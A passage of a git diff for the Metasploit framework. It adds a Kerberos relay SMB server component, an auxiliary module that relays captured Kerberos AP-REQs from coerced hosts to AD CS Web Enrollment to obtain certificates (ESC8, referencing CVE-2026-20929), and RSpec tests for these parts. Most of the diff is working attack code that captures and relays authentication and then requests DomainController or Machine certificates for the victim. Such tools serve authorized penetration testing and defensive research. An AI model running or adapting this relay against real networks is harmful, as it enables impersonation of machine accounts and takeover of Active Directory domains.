{Msf::Exploit::Remote::SMB::Relay::NTLM::ServerClient}. + # + # A coerced host authenticates to this server over SMB; its SMB2 SessionSetup + # carries a SPNEGO-wrapped Kerberos AP-REQ. Unlike NTLM there is no + # challenge/response: the AP-REQ is a complete credential that arrives in a + # single message, so this client captures it, relays it to the target, and + # answers the SessionSetup in one shot. + class ServerClient < ::RubySMB::Server::ServerClient + include Msf::Exploit::Remote::Relay::Kerberos::RelayHandler + + # @param relay_timeout [Integer] target send/recv timeout + # @param relay_targets [Msf::Exploit::Remote::Relay::TargetList] the relay targets + # @param listener [Object] receives on_relay_success / on_relay_failure + def initialize(server, dispatcher, relay_timeout:, relay_targets:, listener:) + super(server, dispatcher) + + @relay_timeout = relay_timeout + @relay_targets = relay_targets + @listener = listener + end + + # Intercept the SMB2 SessionSetup. When it carries a Kerberos AP-REQ, relay + # it; otherwise defer to the default handling (NTLM / normal auth). + # + # Session bookkeeping mirrors + # {Msf::Exploit::Remote::SMB::Relay::NTLM::ServerClient#do_session_setup_smb2}: + # a new session is registered in the server client's session table so that + # RubySMB can resolve it for any follow-up request, and a session id we + # never issued is rejected rather than silently answered. + def do_session_setup_smb2(request, session) + # One parse for the whole exchange: this both decides whether the blob is + # Kerberos at all and yields the AP-REQ that gets relayed. + ap_req = Rex::Proto::Gss::KerberosToken.try_extract_ap_req(request.buffer.to_binary_s) + return super if ap_req.nil? + + session_id = request.smb2_header.session_id + if session_id.zero? + session_id = rand(1..0xfffffffe) + session = @session_table[session_id] = ::RubySMB::Server::Session.new(session_id) + else + session = @session_table[session_id] + return session_deleted_response if session.nil? + end + + result = relay_captured_ap_req(ap_req) + build_session_setup_response(request, session, result) + end + + # Select the relay target, build its client, and relay the captured AP-REQ. + # Split out from the SMB plumbing so the relay decision is unit-testable. + # + # @param ap_req [String] the AP-REQ extracted from the SessionSetup blob + # @return [Msf::Exploit::Remote::Relay::Kerberos::Target::RelayResult, nil] + def relay_captured_ap_req(ap_req) + # A Kerberos AP-REQ is bound to the SPN the attacker coerced, so it can + # only go to the matching service; identity is not known here (encrypted). + target = @relay_targets.next(nil) + if target.nil? + logger.print_status('No relay target available for the captured AP-REQ') + return nil + end + + client = Msf::Exploit::Remote::Relay::Kerberos::Target.create_client(self, target, logger, @relay_timeout) + relay_kerberos( + ap_req, + client: client, + target: target, + relay_targets: @relay_targets, + listener: @listener + ) + end + + private + + # Reject a SessionSetup naming a session id this server never issued, + # matching RubySMB's own handling of an unknown session. + def session_deleted_response + response = ::RubySMB::SMB2::Packet::ErrorPacket.new + response.smb2_header.nt_status = ::WindowsError::NTStatus::STATUS_USER_SESSION_DELETED.value + response + end + + # Answer the coerced client's SessionSetup once the AP-REQ has been relayed. + # We do not complete mutual auth with the victim (we have what we need), so + # this reports success or failure and lets the connection close. + # + # Credits have to be granted or the coerced client has no allowance to send + # anything further and the exchange stalls; RubySMB does not add them for us. + # + # NOTE: session.key is deliberately never set. The AP-REQ is relayed as + # opaque DER and only the real target service can decrypt it, so we never + # learn the Kerberos session key and cannot sign as the victim. That is + # harmless here because the relay is one-shot, but it does mean the victim's + # session must not be marked as requiring signing. + def build_session_setup_response(request, session, result) + response = ::RubySMB::SMB2::Packet::SessionSetupResponse.new + response.smb2_header.credits = 1 + response.smb2_header.message_id = request.smb2_header.message_id + response.smb2_header.session_id = session.id + response.smb2_header.nt_status = relay_status(result) + + if result&.success + response.smb2_header.credits = 32 + session.state = :valid + end + + response + end + + # Map a relay outcome to the SMB status returned to the coerced client. + def relay_status(result) + if result&.success + WindowsError::NTStatus::STATUS_SUCCESS.value + else + WindowsError::NTStatus::STATUS_LOGON_FAILURE.value + end + end + end +end diff --git a/modules/auxiliary/server/relay/esc8_kerberos.rb b/modules/auxiliary/server/relay/esc8_kerberos.rb new file mode 100644 index 0000000000000..ffc36bf43ed23 --- /dev/null +++ b/modules/auxiliary/server/relay/esc8_kerberos.rb @@ -0,0 +1,211 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Auxiliary + include ::Msf::Exploit::Remote::SMB::Relay::Kerberos::RelayServer + include ::Msf::Exploit::Remote::HttpClient + include ::Msf::Exploit::Remote::HTTP::WebEnrollment + + def initialize(_info = {}) + super({ + 'Name' => 'ESC8 Relay: SMB to HTTP(S) via Kerberos', + 'Description' => %q{ + This module creates an SMB server and relays the Kerberos AP-REQ passed to it + (for example from a coerced host, CVE-2026-20929) to an AD CS Web Enrollment + HTTP endpoint to gain an authenticated connection. Once that connection is + established, the module makes an authenticated request for a certificate based + on a given template. + + Unlike NTLM, a Kerberos AP-REQ is a complete, self-contained credential bound + to the SPN the victim was coerced into requesting, so there is no + challenge/response and the relay is a single request. The captured AP-REQ can + only be relayed to the service matching that SPN. + }, + 'Author' => [ + 'Pushpender Rathore' # Kerberos relay + ], + 'References' => [ + ['CVE', '2026-20929'], + ['ATT&CK', Mitre::Attack::Technique::T1557_ADVERSARY_IN_THE_MIDDLE], + ['ATT&CK', Mitre::Attack::Technique::T1649_STEAL_OR_FORGE_AUTHENTICATION_CERTIFICATES] + ], + 'License' => MSF_LICENSE, + 'Actions' => [[ 'Relay', { 'Description' => 'Run SMB ESC8 Kerberos relay server' } ]], + # The relayed connection is already authenticated by the AP-REQ, so + # follow-up enrollment requests must not attempt to re-authenticate. + # + # SRVHOST defaults to :: (dual-stack) rather than the framework-wide + # 0.0.0.0 default. The documented coercion is an IPv6 DNS takeover + # (CVE-2026-20929) that steers the victim to the attacker over IPv6, so a + # 0.0.0.0 listener is IPv4-only and never receives the connection. On + # Linux and macOS :: also accepts IPv4, so A-record coercion still works, + # and the paired coercion module already defaults SRVHOST to :: for the + # same reason. (A Windows relay host binds :: IPv6-only; there set SRVHOST + # to the attacker IPv6 the coercion hands out.) + 'DefaultOptions' => { 'HTTP::Auth' => Msf::Exploit::Remote::AuthOption::NONE, 'SRVHOST' => '::' }, + 'PassiveActions' => [ 'Relay' ], + 'DefaultAction' => 'Relay', + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'SideEffects' => [IOC_IN_LOGS], + 'Reliability' => [] + } + }) + + register_options( + [ + OptEnum.new('MODE', [ true, 'The issue mode.', 'AUTO', %w[ALL AUTO QUERY_ONLY SPECIFIC_TEMPLATE]]), + OptString.new('CERT_TEMPLATE', [ false, 'The template to issue if MODE is SPECIFIC_TEMPLATE.' ], conditions: %w[MODE == SPECIFIC_TEMPLATE]), + OptString.new('TARGETURI', [ true, 'The URI for the cert server.', '/certsrv/' ]), + OptString.new('RELAY_IDENTITY', [ true, 'The coerced principal being relayed, as DOMAIN\\HOST$ or HOST$@realm (e.g. AD\\WIN-VICTIM$ or WIN-VICTIM$@ad.example.com). The Kerberos AP-REQ carries the identity encrypted, so it is supplied here for template selection and certificate labeling.' ]), + # HttpClient re-registers RHOSTS after the relay server mixin and drops + # its aliases, so without this SMBHOST and RELAY_TARGETS are accepted + # but never reach RHOSTS. Module options are applied last, so this wins. + OptRhosts.new('RHOSTS', [ true, 'Target address range or CIDR identifier to relay to' ], aliases: ['SMBHOST', 'RELAY_TARGETS']) + ] + ) + + register_advanced_options( + [ + OptBool.new('RANDOMIZE_TARGETS', [true, 'Whether the relay targets should be randomized', true]) + ] + ) + # Tracks which templates have already been issued per identity, so a client + # that authenticates repeatedly does not request the same certificate again. + # HTTP::WebEnrollment#cert_issued? reads this on the first relay, so it has + # to exist before any certificate is requested. + @issued_certs = {} + end + + def relay_targets + Msf::Exploit::Remote::Relay::TargetList.new( + (datastore['SSL'] ? :https : :http), + datastore['RPORT'], + datastore['RHOSTS'], + datastore['TARGETURI'], + randomize_targets: datastore['RANDOMIZE_TARGETS'] + ) + end + + def check_host(target_ip) + res = send_request_raw( + { + 'rhost' => target_ip, + 'method' => 'GET', + 'uri' => normalize_uri(target_uri), + 'headers' => { + 'Accept-Encoding' => 'identity' + } + } + ) + disconnect + + return Exploit::CheckCode::Unknown('No response received from target') if res.nil? + unless res.code == 401 + return Exploit::CheckCode::Safe('The target does not require authentication.') + end + + unless res.headers['WWW-Authenticate'].to_s.include?('Negotiate') + return Exploit::CheckCode::Safe('The target does not offer Negotiate (Kerberos) authentication.') + end + + if datastore['SSL'] + # over SSL, channel binding (EPA) may or may not be enforced, so downgrade to Detected + Exploit::CheckCode::Detected('Server replied that authentication is required and Negotiate is supported. Target is over SSL, Extended Protection for Authentication (EPA) may or may not be enabled.') + else + Exploit::CheckCode::Appears('Server replied that authentication is required and Negotiate is supported.') + end + end + + def validate + errors = {} + + unless datastore['HTTP::Auth'] == Msf::Exploit::Remote::AuthOption::NONE + errors['HTTP::Auth'] = 'The relayed connection is already authenticated by the AP-REQ; this module does not support re-authenticating follow-up requests.' + end + + case datastore['MODE'] + when 'SPECIFIC_TEMPLATE' + if datastore['CERT_TEMPLATE'].blank? + errors['CERT_TEMPLATE'] = 'CERT_TEMPLATE must be set when MODE is SPECIFIC_TEMPLATE.' + end + when 'ALL', 'AUTO', 'QUERY_ONLY' + unless datastore['CERT_TEMPLATE'].nil? || datastore['CERT_TEMPLATE'].blank? + print_warning('CERT_TEMPLATE is ignored in ALL, AUTO, and QUERY_ONLY modes.') + end + end + + raise OptionValidateError, errors unless errors.empty? + + super + end + + def run + relay_targets.each do |target| + vprint_status("Checking endpoint on #{target}") + check_code = check_host(target.ip) + if [Exploit::CheckCode::Unknown, Exploit::CheckCode::Safe].include?(check_code) + fail_with(Failure::UnexpectedReply, "Web Enrollment does not appear to be enabled on #{target}") + end + end + + start_service + print_status('Server started.') + + # Wait on the service to stop + service.wait if service + end + + def on_relay_success(relay_connection:, relay_identity:) + # The AP-REQ carries the client identity encrypted to the target service, so + # it is not recovered from the wire; fall back to the operator-supplied + # RELAY_IDENTITY for template selection and certificate labeling. + # + # relay_identity is always nil on the Kerberos path today, since nothing + # upstream can learn the principal. It is honoured anyway so that a future + # target which does recover an identity needs no change here. + identity = normalize_relay_identity(relay_identity.presence || datastore['RELAY_IDENTITY']) + + case datastore['MODE'] + when 'AUTO' + cert_template = identity.end_with?('$') ? ['DomainController', 'Machine'] : ['User'] + retrieve_certs(relay_connection, identity, cert_template) + when 'ALL', 'QUERY_ONLY' + cert_templates = get_cert_templates(relay_connection) + unless cert_templates.nil? || cert_templates.empty? + print_status('***Templates with CT_FLAG_MACHINE_TYPE set like Machine and DomainController will not display as available, even if they are.***') + print_good("Available Certificates for #{identity}: #{cert_templates.join(', ')}") + if datastore['MODE'] == 'ALL' + retrieve_certs(relay_connection, identity, cert_templates) + end + end + when 'SPECIFIC_TEMPLATE' + retrieve_cert(relay_connection, identity, datastore['CERT_TEMPLATE']) + end + + vprint_status('Relay tasks complete; waiting for next login attempt.') + relay_connection.disconnect! + end + + private + + # Accept RELAY_IDENTITY in either DOMAIN\HOST$ or HOST$@realm (UPN) form and + # return it as DOMAIN\HOST$, which is what the WebEnrollment mixin and the + # template auto-selection below expect. WebEnrollment splits the identity on + # '\\' to build the CSR subject; a UPN string has no backslash, so both halves + # would become the whole value and the request would carry a doubled + # HOST$@realm\HOST$@realm subject. The '$' template check also only works once + # the machine account trails the string, so convert the UPN form first. + def normalize_relay_identity(identity) + return identity if identity.blank? || identity.include?('\\') + + if identity.include?('@') + principal, realm = identity.split('@', 2) + return "#{realm}\\#{principal}" + end + + identity + end +end diff --git a/spec/lib/msf/core/exploit/remote/relay/kerberos/relay_handler_spec.rb b/spec/lib/msf/core/exploit/remote/relay/kerberos/relay_handler_spec.rb new file mode 100644 index 0000000000000..5c7077a6155b8 --- /dev/null +++ b/spec/lib/msf/core/exploit/remote/relay/kerberos/relay_handler_spec.rb @@ -0,0 +1,70 @@ +# -*- coding: binary -*- + +require 'spec_helper' + +RSpec.describe Msf::Exploit::Remote::Relay::Kerberos::RelayHandler do + let(:logger) { double('logger', print_status: nil, print_good: nil, print_warning: nil) } + + subject do + log = logger + Class.new do + include Msf::Exploit::Remote::Relay::Kerberos::RelayHandler + define_method(:logger) { log } + end.new + end + + let(:ap_req_der) { OpenSSL::ASN1::Sequence.new([OpenSSL::ASN1::OctetString.new('AP-REQ')]).to_der } + let(:kerberos_blob) { Rex::Proto::Gss::KerberosToken.build_spnego_ap_req(ap_req_der) } + let(:ntlm_blob) { "NTLMSSP\x00\x01\x00\x00\x00".b } + + let(:client) { double('target client', relay_ap_req: nil, disconnect!: nil) } + let(:target) { double('target', to_s: 'http://ca/certsrv') } + let(:relay_targets) { double('relay_targets', on_relay_end: nil) } + let(:listener) { double('listener', on_relay_success: nil, on_relay_failure: nil) } + + def result(success) + Msf::Exploit::Remote::Relay::Kerberos::Target::RelayResult.new(success: success) + end + + describe '#relay_kerberos' do + it 'ignores a nil AP-REQ without touching the target' do + expect(client).not_to receive(:relay_ap_req) + expect(subject.relay_kerberos(nil, client: client, target: target)).to be_nil + end + + it 'forwards the extracted AP-REQ to the target client' do + allow(client).to receive(:relay_ap_req).with(ap_req_der).and_return(result(true)) + subject.relay_kerberos(ap_req_der, client: client, target: target) + expect(client).to have_received(:relay_ap_req).with(ap_req_der) + end + + it 'notifies success and marks the relay end on a successful relay' do + allow(client).to receive(:relay_ap_req).and_return(result(true)) + + subject.relay_kerberos( + ap_req_der, client: client, target: target, + relay_targets: relay_targets, listener: listener, identity: 'WIN$' + ) + + expect(listener).to have_received(:on_relay_success).with(relay_connection: client, relay_identity: 'WIN$') + expect(relay_targets).to have_received(:on_relay_end).with(target, identity: 'WIN$', is_success: true) + end + + it 'notifies failure and disconnects when the target rejects the AP-REQ' do + allow(client).to receive(:relay_ap_req).and_return(result(false)) + + subject.relay_kerberos(ap_req_der, client: client, target: target, listener: listener) + + expect(listener).to have_received(:on_relay_failure).with(relay_connection: client) + expect(client).to have_received(:disconnect!) + end + + it 'treats a missing response as a failure' do + allow(client).to receive(:relay_ap_req).and_return(nil) + + subject.relay_kerberos(ap_req_der, client: client, target: target, listener: listener) + + expect(listener).to have_received(:on_relay_failure) + end + end +end diff --git a/spec/lib/msf/core/exploit/remote/relay/kerberos/target/http/client_spec.rb b/spec/lib/msf/core/exploit/remote/relay/kerberos/target/http/client_spec.rb new file mode 100644 index 0000000000000..51e30e8abcebf --- /dev/null +++ b/spec/lib/msf/core/exploit/remote/relay/kerberos/target/http/client_spec.rb @@ -0,0 +1,86 @@ +# -*- coding: binary -*- + +require 'spec_helper' + +RSpec.describe Msf::Exploit::Remote::Relay::Kerberos::Target::HTTP::Client do + let(:http_client) { instance_double(Rex::Proto::Http::Client) } + let(:target) { double('target', path: '/certsrv/certfnsh.asp') } + let(:logger) { double('logger', print_error: nil) } + let(:req) { double('request') } + + subject { described_class.new(client: http_client, target: target, logger: logger) } + + let(:ap_req_der) do + OpenSSL::ASN1::Sequence.new([OpenSSL::ASN1::OctetString.new('AP-REQ')]).to_der + end + + # What the Negotiate header should carry: the AP-REQ re-wrapped as GSS-SPNEGO. + let(:expected_blob) do + Base64.strict_encode64(Rex::Proto::Gss::KerberosToken.build_spnego_ap_req(ap_req_der)) + end + + def http_response(code) + double('response', code: code) + end + + describe '#relay_ap_req' do + it 'sends the AP-REQ as a SPNEGO Negotiate header to the target path' do + expect(http_client).to receive(:request_raw).with( + hash_including( + 'method' => 'GET', + 'uri' => '/certsrv/certfnsh.asp', + 'headers' => hash_including('Authorization' => "Negotiate #{expected_blob}") + ) + ).and_return(req) + allow(http_client).to receive(:send_recv).with(req, -1, true).and_return(http_response(200)) + + subject.relay_ap_req(ap_req_der) + end + + it 'reports success on a 2xx response' do + allow(http_client).to receive(:request_raw).and_return(req) + allow(http_client).to receive(:send_recv).and_return(http_response(200)) + + result = subject.relay_ap_req(ap_req_der) + expect(result.success).to be(true) + expect(result.message.code).to eq(200) + end + + it 'reports failure on a 401 response' do + allow(http_client).to receive(:request_raw).and_return(req) + allow(http_client).to receive(:send_recv).and_return(http_response(401)) + + expect(subject.relay_ap_req(ap_req_der).success).to be(false) + end + + it 'returns nil and logs when no HTTP response is received' do + allow(http_client).to receive(:request_raw).and_return(req) + allow(http_client).to receive(:send_recv).and_return(nil) + + expect(logger).to receive(:print_error) + expect(subject.relay_ap_req(ap_req_der)).to be_nil + end + end + + # After a successful relay the connection is authenticated for its lifetime, + # so a calling module (e.g. the ESC8 target) drives follow-up requests through + # the client as if it were an HTTP client. send_request_raw('client' => it) + # reaches these methods. + describe 'reuse as an authenticated HTTP client' do + it 'delegates request_raw to the underlying HTTP client' do + expect(http_client).to receive(:request_raw).with('method' => 'GET').and_return(req) + expect(subject.request_raw('method' => 'GET')).to eq(req) + end + + it 'delegates request_cgi to the underlying HTTP client' do + expect(http_client).to receive(:request_cgi).with('method' => 'POST').and_return(req) + expect(subject.request_cgi('method' => 'POST')).to eq(req) + end + + it 'sends follow-up requests on the connection, keeping it persistent by default' do + response = http_response(200) + expect(http_client).to receive(:send_recv).with(req, -1, true).and_return(response) + expect(subject.send_recv(req)).to eq(response) + end + end +end diff --git a/spec/lib/msf/core/exploit/remote/relay/kerberos/target_spec.rb b/spec/lib/msf/core/exploit/remote/relay/kerberos/target_spec.rb new file mode 100644 index 0000000000000..bd67ed98acd89 --- /dev/null +++ b/spec/lib/msf/core/exploit/remote/relay/kerberos/target_spec.rb @@ -0,0 +1,28 @@ +# -*- coding: binary -*- + +require 'spec_helper' + +RSpec.describe Msf::Exploit::Remote::Relay::Kerberos::Target do + describe '.create_client' do + let(:provider) { double('provider') } + let(:logger) { double('logger') } + + it 'builds an HTTP client for an http target' do + target = double('target', protocol: :http) + expect(described_class::HTTP::Client).to receive(:create).with(provider, target, logger, -1) + described_class.create_client(provider, target, logger, -1) + end + + it 'builds an HTTP client for an https target' do + target = double('target', protocol: :https) + expect(described_class::HTTP::Client).to receive(:create).with(provider, target, logger, -1) + described_class.create_client(provider, target, logger, -1) + end + + it 'raises for an unsupported target protocol' do + target = double('target', protocol: :ldap) + expect { described_class.create_client(provider, target, logger, -1) } + .to raise_error(ArgumentError, /unsupported Kerberos relay target protocol: ldap/) + end + end +end diff --git a/spec/lib/msf/core/exploit/remote/smb/relay/kerberos/relay_server_spec.rb b/spec/lib/msf/core/exploit/remote/smb/relay/kerberos/relay_server_spec.rb new file mode 100644 index 0000000000000..c2f7e87170242 --- /dev/null +++ b/spec/lib/msf/core/exploit/remote/smb/relay/kerberos/relay_server_spec.rb @@ -0,0 +1,67 @@ +# -*- coding: binary -*- + +require 'spec_helper' + +RSpec.describe Msf::Exploit::Remote::SMB::Relay::Kerberos::RelayServer do + describe described_class::KerberosSMBRelayServer do + let(:options) do + { + socket: { 'LocalHost' => '192.0.2.1', 'LocalPort' => 4445 }, + smb_server: { gss_provider: double('provider'), relay_targets: double('targets') } + } + end + + subject { described_class.new(options) } + + describe '.sock_options_for' do + it 'defaults the bind host/port and lets the caller override them' do + expect(described_class.sock_options_for(options)).to include( + 'LocalHost' => '192.0.2.1', + 'LocalPort' => 4445 + ) + end + + it 'falls back to 0.0.0.0:445 when unset' do + expect(described_class.sock_options_for(socket: {})).to eq( + 'LocalHost' => '0.0.0.0', + 'LocalPort' => 445 + ) + end + end + + describe '.hardcore_alias' do + it 'derives from the bind host and port' do + expect(described_class.hardcore_alias(options)).to eq('192.0.2.14445') + end + end + + describe '#smb_server_options' do + it 'binds the listener socket into the Kerberos server options' do + sock = double('listener_sock') + opts = subject.send(:smb_server_options, sock) + expect(opts[:server_sock]).to eq(sock) + expect(opts[:relay_targets]).to eq(options[:smb_server][:relay_targets]) + end + end + + describe '#stop' do + it 'does not raise when nothing was started' do + expect { subject.stop }.not_to raise_error + end + end + end + + describe 'contract for the including module' do + # A bare host for the mixin's default hooks, bypassing the Msf module + # constructor chain (register_options et al. need the full module machinery). + let(:host) { Object.new.tap { |o| o.extend(described_class) } } + + it 'requires the including module to define relay_targets' do + expect { host.relay_targets }.to raise_error(NotImplementedError) + end + + it 'treats on_relay_failure as a noop' do + expect(host.on_relay_failure(relay_connection: double('conn'))).to be_nil + end + end +end diff --git a/spec/lib/msf/core/exploit/remote/smb/relay/kerberos/server_client_spec.rb b/spec/lib/msf/core/exploit/remote/smb/relay/kerberos/server_client_spec.rb new file mode 100644 index 0000000000000..0b9e6bce42514 --- /dev/null +++ b/spec/lib/msf/core/exploit/remote/smb/relay/kerberos/server_client_spec.rb @@ -0,0 +1,146 @@ +# -*- coding: binary -*- + +require 'spec_helper' + +RSpec.describe Msf::Exploit::Remote::SMB::Relay::Kerberos::ServerClient do + let(:logger) { double('logger', print_status: nil, print_good: nil, print_warning: nil) } + let(:relay_targets) { double('relay_targets', on_relay_end: nil) } + let(:listener) { double('listener', on_relay_success: nil, on_relay_failure: nil) } + let(:target) { double('target', to_s: 'http://ca/certsrv', protocol: :http) } + + let(:ap_req_der) { OpenSSL::ASN1::Sequence.new([OpenSSL::ASN1::OctetString.new('AP-REQ')]).to_der } + let(:kerberos_blob) { Rex::Proto::Gss::KerberosToken.build_spnego_ap_req(ap_req_der) } + + # Build the client without RubySMB's heavy socket-bound constructor. + subject do + sc = described_class.allocate + sc.instance_variable_set(:@relay_targets, relay_targets) + sc.instance_variable_set(:@relay_timeout, -1) + sc.instance_variable_set(:@listener, listener) + allow(sc).to receive(:logger).and_return(logger) + sc + end + + let(:target_module) { Msf::Exploit::Remote::Relay::Kerberos::Target } + + describe '#relay_captured_ap_req' do + it 'relays the captured AP-REQ to the SPN-matching target' do + client = double('client', relay_ap_req: target_module::RelayResult.new(success: true), disconnect!: nil) + allow(relay_targets).to receive(:next).with(nil).and_return(target) + allow(target_module).to receive(:create_client).with(subject, target, logger, -1).and_return(client) + + result = subject.relay_captured_ap_req(ap_req_der) + + expect(client).to have_received(:relay_ap_req).with(ap_req_der) + expect(result.success).to be(true) + end + + it 'returns nil without building a client when no target is available' do + allow(relay_targets).to receive(:next).and_return(nil) + expect(target_module).not_to receive(:create_client) + expect(subject.relay_captured_ap_req(ap_req_der)).to be_nil + end + end + + describe '#build_session_setup_response' do + let(:request) do + req = RubySMB::SMB2::Packet::SessionSetupRequest.new + req.smb2_header.session_id = 0x1234 + req.smb2_header.message_id = 7 + req + end + let(:session) { RubySMB::Server::Session.new(0x1234) } + + it 'returns STATUS_SUCCESS and preserves the session id on a successful relay' do + result = target_module::RelayResult.new(success: true) + resp = subject.send(:build_session_setup_response, request, session, result) + expect(resp.smb2_header.nt_status).to eq(WindowsError::NTStatus::STATUS_SUCCESS.value) + expect(resp.smb2_header.session_id).to eq(0x1234) + end + + it 'returns STATUS_LOGON_FAILURE when the relay failed or was nil' do + resp = subject.send(:build_session_setup_response, request, session, nil) + expect(resp.smb2_header.nt_status).to eq(WindowsError::NTStatus::STATUS_LOGON_FAILURE.value) + end + + it 'grants credits so the coerced client can keep sending' do + resp = subject.send(:build_session_setup_response, request, session, nil) + expect(resp.smb2_header.credits).to be > 0 + end + + it 'marks the session valid and raises the credit grant on success' do + result = target_module::RelayResult.new(success: true) + resp = subject.send(:build_session_setup_response, request, session, result) + expect(session.state).to eq(:valid) + expect(resp.smb2_header.credits).to eq(32) + end + + it 'leaves the session in progress when the relay failed' do + subject.send(:build_session_setup_response, request, session, nil) + expect(session.state).to eq(:in_progress) + end + + it 'never sets a session key, since the AP-REQ is relayed opaque' do + result = target_module::RelayResult.new(success: true) + subject.send(:build_session_setup_response, request, session, result) + expect(session.key).to be_nil + expect(session.signing_required).to be(false) + end + end + + describe '#do_session_setup_smb2' do + let(:session_table) { {} } + let(:request) do + req = RubySMB::SMB2::Packet::SessionSetupRequest.new + req.smb2_header.message_id = 1 + # sets security_buffer_length too, without which buffer reads back empty + req.set_security_buffer(kerberos_blob) + req + end + + before do + subject.instance_variable_set(:@session_table, session_table) + allow(subject).to receive(:relay_captured_ap_req) + .and_return(target_module::RelayResult.new(success: true)) + end + + it 'registers a new session so follow-up requests can resolve it' do + request.smb2_header.session_id = 0 + resp = subject.do_session_setup_smb2(request, nil) + + session_id = resp.smb2_header.session_id + expect(session_id).not_to eq(0) + expect(session_table[session_id]).to be_a(RubySMB::Server::Session) + expect(session_table[session_id].id).to eq(session_id) + end + + it 'reuses an already registered session' do + session_table[0x4321] = RubySMB::Server::Session.new(0x4321) + request.smb2_header.session_id = 0x4321 + + resp = subject.do_session_setup_smb2(request, nil) + + expect(resp.smb2_header.session_id).to eq(0x4321) + expect(session_table.keys).to eq([0x4321]) + end + + it 'parses the security blob exactly once' do + request.smb2_header.session_id = 0 + allow(Rex::Proto::Gss::KerberosToken).to receive(:try_extract_ap_req).and_call_original + + subject.do_session_setup_smb2(request, nil) + + expect(Rex::Proto::Gss::KerberosToken).to have_received(:try_extract_ap_req).once + end + + it 'rejects a session id this server never issued' do + request.smb2_header.session_id = 0xdeadbeef + + resp = subject.do_session_setup_smb2(request, nil) + + expect(resp).to be_a(RubySMB::SMB2::Packet::ErrorPacket) + expect(resp.smb2_header.nt_status).to eq(WindowsError::NTStatus::STATUS_USER_SESSION_DELETED.value) + expect(subject).not_to have_received(:relay_captured_ap_req) + end + end +end diff --git a/spec/lib/msf/core/exploit/remote/smb/relay/kerberos/server_spec.rb b/spec/lib/msf/core/exploit/remote/smb/relay/kerberos/server_spec.rb new file mode 100644 index 0000000000000..1a969e98c69d2 --- /dev/null +++ b/spec/lib/msf/core/exploit/remote/smb/relay/kerberos/server_spec.rb @@ -0,0 +1,39 @@ +# -*- coding: binary -*- + +require 'spec_helper' + +RSpec.describe Msf::Exploit::Remote::SMB::Relay::Kerberos::Server do + # Build without RubySMB::Server's socket-bound constructor. + subject do + s = described_class.allocate + s.instance_variable_set(:@closed, false) + s.instance_variable_set(:@connections, connections) + s + end + + let(:thread) { double('thread', kill: nil) } + let(:connections) { [double('connection', thread: thread)] } + + describe '#closed?' do + it 'is false until closed' do + expect(subject.closed?).to be(false) + end + end + + describe '#close' do + it 'marks the server closed and kills each connection thread' do + subject.close + expect(subject.closed?).to be(true) + expect(thread).to have_received(:kill) + end + + it 'keeps closing remaining connections if one fails to stop' do + bad = double('connection', thread: double('thread', kill: nil)) + allow(bad.thread).to receive(:kill).and_raise(StandardError, 'boom') + subject.instance_variable_set(:@connections, [bad, connections.first]) + + expect { subject.close }.not_to raise_error + expect(thread).to have_received(:kill) + end + end +end diff --git a/spec/modules/auxiliary/server/relay/esc8_kerberos_spec.rb b/spec/modules/auxiliary/server/relay/esc8_kerberos_spec.rb new file mode 100644 index 0000000000000..71d8cfc8c091d --- /dev/null +++ b/spec/modules/auxiliary/server/relay/esc8_kerberos_spec.rb @@ -0,0 +1,63 @@ +require 'spec_helper' + +RSpec.describe 'auxiliary/server/relay/esc8_kerberos' do + include_context 'Msf::Simple::Framework#modules loading' + + subject(:mod) do + load_and_create_module( + module_type: 'auxiliary', + reference_name: 'server/relay/esc8_kerberos' + ) + end + + describe '#normalize_relay_identity' do + it 'passes a DOMAIN\\HOST$ identity through unchanged' do + expect(mod.send(:normalize_relay_identity, 'AD\\WIN-VICTIM$')).to eq('AD\\WIN-VICTIM$') + end + + it 'passes a DOMAIN\\user identity through unchanged' do + expect(mod.send(:normalize_relay_identity, 'AD\\labuser')).to eq('AD\\labuser') + end + + it 'converts a UPN machine account HOST$@realm to realm\\HOST$' do + expect(mod.send(:normalize_relay_identity, 'WIN-VICTIM$@ad.example.com')).to eq('ad.example.com\\WIN-VICTIM$') + end + + it 'converts a UPN user to realm\\user' do + expect(mod.send(:normalize_relay_identity, 'labuser@ad.example.com')).to eq('ad.example.com\\labuser') + end + + it 'leaves the trailing $ so AUTO template selection still sees a machine account' do + normalized = mod.send(:normalize_relay_identity, 'WIN-VICTIM$@ad.example.com') + expect(normalized.end_with?('$')).to be(true) + end + + it 'returns a blank identity unchanged' do + expect(mod.send(:normalize_relay_identity, '')).to eq('') + end + + it 'only splits on the first @ so a realm keeps any later @' do + expect(mod.send(:normalize_relay_identity, 'svc$@a@b')).to eq('a@b\\svc$') + end + end + + describe '#validate' do + before do + mod.datastore['RHOSTS'] = '192.0.2.1' + mod.datastore['RELAY_IDENTITY'] = 'AD\\WIN-VICTIM$' + end + + it 'does not raise when HTTP::Auth is left at its default' do + expect { mod.validate }.not_to raise_error + end + + it 'defaults HTTP::Auth to none, matching the relayed connection already being authenticated' do + expect(mod.datastore['HTTP::Auth']).to eq(Msf::Exploit::Remote::AuthOption::NONE) + end + + it 'rejects an overridden HTTP::Auth, since follow-up requests must not re-authenticate' do + mod.datastore['HTTP::Auth'] = Msf::Exploit::Remote::AuthOption::NTLM + expect { mod.validate }.to raise_error(ArgumentError, /HTTP::Auth/) + end + end +end